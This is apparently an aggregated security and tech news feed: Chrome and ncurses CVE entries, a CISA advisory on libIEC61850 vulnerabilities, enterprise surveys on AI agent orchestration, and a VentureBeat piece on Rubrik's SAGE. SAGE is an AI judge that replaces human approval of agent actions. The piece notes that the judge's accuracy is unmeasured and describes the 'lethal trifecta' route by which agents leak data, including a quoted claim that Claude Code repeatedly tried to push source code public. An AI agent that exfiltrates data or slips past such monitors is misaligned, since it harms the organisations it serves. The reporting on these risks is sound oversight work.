[N/A][523292588] High CVE-2026-16805: Use after free in Blink. Reported by Google on 2026-06-12

[N/A][524721670] High CVE-2026-16804: Use after free in Input. Reported by Google on 2026-06-16

We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.

Many of our security bugs are detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL.

Interested in switching release channels? Find out how here. If you find a new issue, please let us know by filing a bug. The community help forum is also a great place to reach out for help or learn about common issues.

Daniel Yip

Google Chrome

CVE-2017-13732 | ncurses 6.0 progs/dump_entry.c dump_uses memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:12:05 +0200

A vulnerability, which was classified as problematic, has been found in ncurses 6.0. The affected element is the function dump_uses of the file progs/dump_entry.c. This manipulation causes memory corruption. This vulnerability is registered as CVE-2017-13732. Remote exploitation of the attack is possible. No exploit is available. It is advisable to upgrade the affected component.

CVE-2017-10684 | ncurses 6.0 fmt_entry memory corruption (Nessus ID 101785 / ID 170293)

Fri, 24 Jul 2026 00:12:04 +0200

A vulnerability described as critical has been identified in ncurses 6.0. The impacted element is the function fmt_entry. The manipulation results in memory corruption. This vulnerability is reported as CVE-2017-10684. The attack can be launched remotely. No exploit exists. Upgrading the affected component is recommended.

CVE-2017-13729 | ncurses 6.0 alloc_entry.c nc_save_str memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:11:59 +0200

A vulnerability described as problematic has been identified in ncurses 6.0. This vulnerability affects the function nc_save_str of the file alloc_entry.c. Executing a manipulation can lead to memory corruption. This vulnerability is tracked as CVE-2017-13729. The attack can be launched remotely. No exploit exists. Upgrading the affected component is recommended.

CVE-2017-13728 | ncurses 6.0 libtic comp_scan.c next_char memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:11:57 +0200

A vulnerability marked as problematic has been reported in ncurses 6.0. This affects the function next_char of the file comp_scan.c of the component libtic. Performing a manipulation results in memory corruption. This vulnerability is identified as CVE-2017-13728. The attack can be initiated remotely. There is not any exploit available. It is suggested to upgrade the affected component.

CVE-2000-0963 | ncurses up to 5.1.2 TERM/TERMINFO_DIRS memory corruption (XFDB-44487 / SBV-20698)

Fri, 24 Jul 2026 00:11:56 +0200

A vulnerability has been found in ncurses up to 5.1.2 and classified as problematic. This vulnerability affects unknown code. Performing a manipulation of the argument TERM/TERMINFO_DIRS as part of Environment Variable results in memory corruption. This vulnerability was named CVE-2000-0963. The attack needs to be approached locally. There is no available exploit. The affected component should be upgraded.

CVE-2017-13730 | ncurses 6.0 progs/tic.c nc_read_entry_source memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:11:55 +0200

A vulnerability classified as problematic has been found in ncurses 6.0. This issue affects the function nc_read_entry_source of the file progs/tic.c. The manipulation leads to memory corruption. This vulnerability is listed as CVE-2017-13730. The attack may be initiated remotely. There is no available exploit. It is recommended to upgrade the affected component.

CVE-2017-13731 | ncurses 6.0 parse_entry.c postprocess_termcap memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:11:53 +0200

A vulnerability classified as problematic was found in ncurses 6.0. Impacted is the function postprocess_termcap of the file parse_entry.c. The manipulation results in memory corruption. This vulnerability is cataloged as CVE-2017-13731. The attack may be launched remotely. There is no exploit available. Upgrading the affected component is advised.

Remus Stealer Analysis: Fileless Execution, In-Memory Payload Extraction & C2 Discovery

Fri, 24 Jul 2026 00:10:06 +0200

submitted by /u/StructBreaker
[link] [comments]

Adata boss says DRAM shortage to last another decade with no AI bubble bursting before 2030

Thu, 23 Jul 2026 21:23:24 +0200

Adata Chairman Chen Li-bai expects AI demand to sustain global memory shortages despite factory expansions and sharply rising DDR5 prices worldwide.

AMD raises the AI stakes with Helios, Venice and robotics

Thu, 23 Jul 2026 20:48:09 +0200

AMD’s MI455X targets the AI memory wall

AMD

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

Pensando networking and ROCm software advance

Customer commitments underscore rack-scale confidence

AMD expands its robotics and embedded foundation

Execution for AMD is now the test

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

MZ Automation libIEC61850

Thu, 23 Jul 2026 20:16:58 +0200

View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.

The following versions of MZ Automation libIEC61850 are affected:

libIEC61850 >=v1.0.0|<=v1.6.1

CVSS	Vendor	Equipment	Vulnerabilities
v3 8.1	MZ Automation	MZ Automation libIEC61850	Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference

Background

Critical Infrastructure Sectors: Critical Manufacturing, Energy, Transportation Systems
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-50039

The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.

View CVE Details

Affected Products

MZ Automation libIEC61850

Vendor:
MZ Automation

Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1

Product Status:
known_affected

Remediations

Vendor fix
MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
https://github.com/mz-automation/libiec61850

Relevant CWE: CWE-121 Stack-based Buffer Overflow

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-49035

The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.

View CVE Details

Affected Products

MZ Automation libIEC61850

Vendor:
MZ Automation

Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1

Product Status:
known_affected

Remediations

Relevant CWE: CWE-122 Heap-based Buffer Overflow

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	8.1	HIGH	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0	9.2	CRITICAL	CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-50103

A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.

View CVE Details

Affected Products

MZ Automation libIEC61850

Vendor:
MZ Automation

Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1

Product Status:
known_affected

Remediations

Relevant CWE: CWE-228 Improper Handling of Syntactically Invalid Structure

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	6.5	MEDIUM	CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	7.1	HIGH	CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-50032

A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.

View CVE Details

Affected Products

MZ Automation libIEC61850

Vendor:
MZ Automation

Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1

Product Status:
known_affected

Remediations

Relevant CWE: CWE-476 NULL Pointer Dereference

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	7.5	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Acknowledgments

Abhinav Agarwal reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-07-23

Date	Revision	Summary
2026-07-23	1	Initial Publication

Legal Notice and Terms of Use

An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right

Thu, 23 Jul 2026 19:19:49 +0200

At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents

Thu, 23 Jul 2026 19:19:45 +0200

Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix

Thu, 23 Jul 2026 19:19:42 +0200

Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

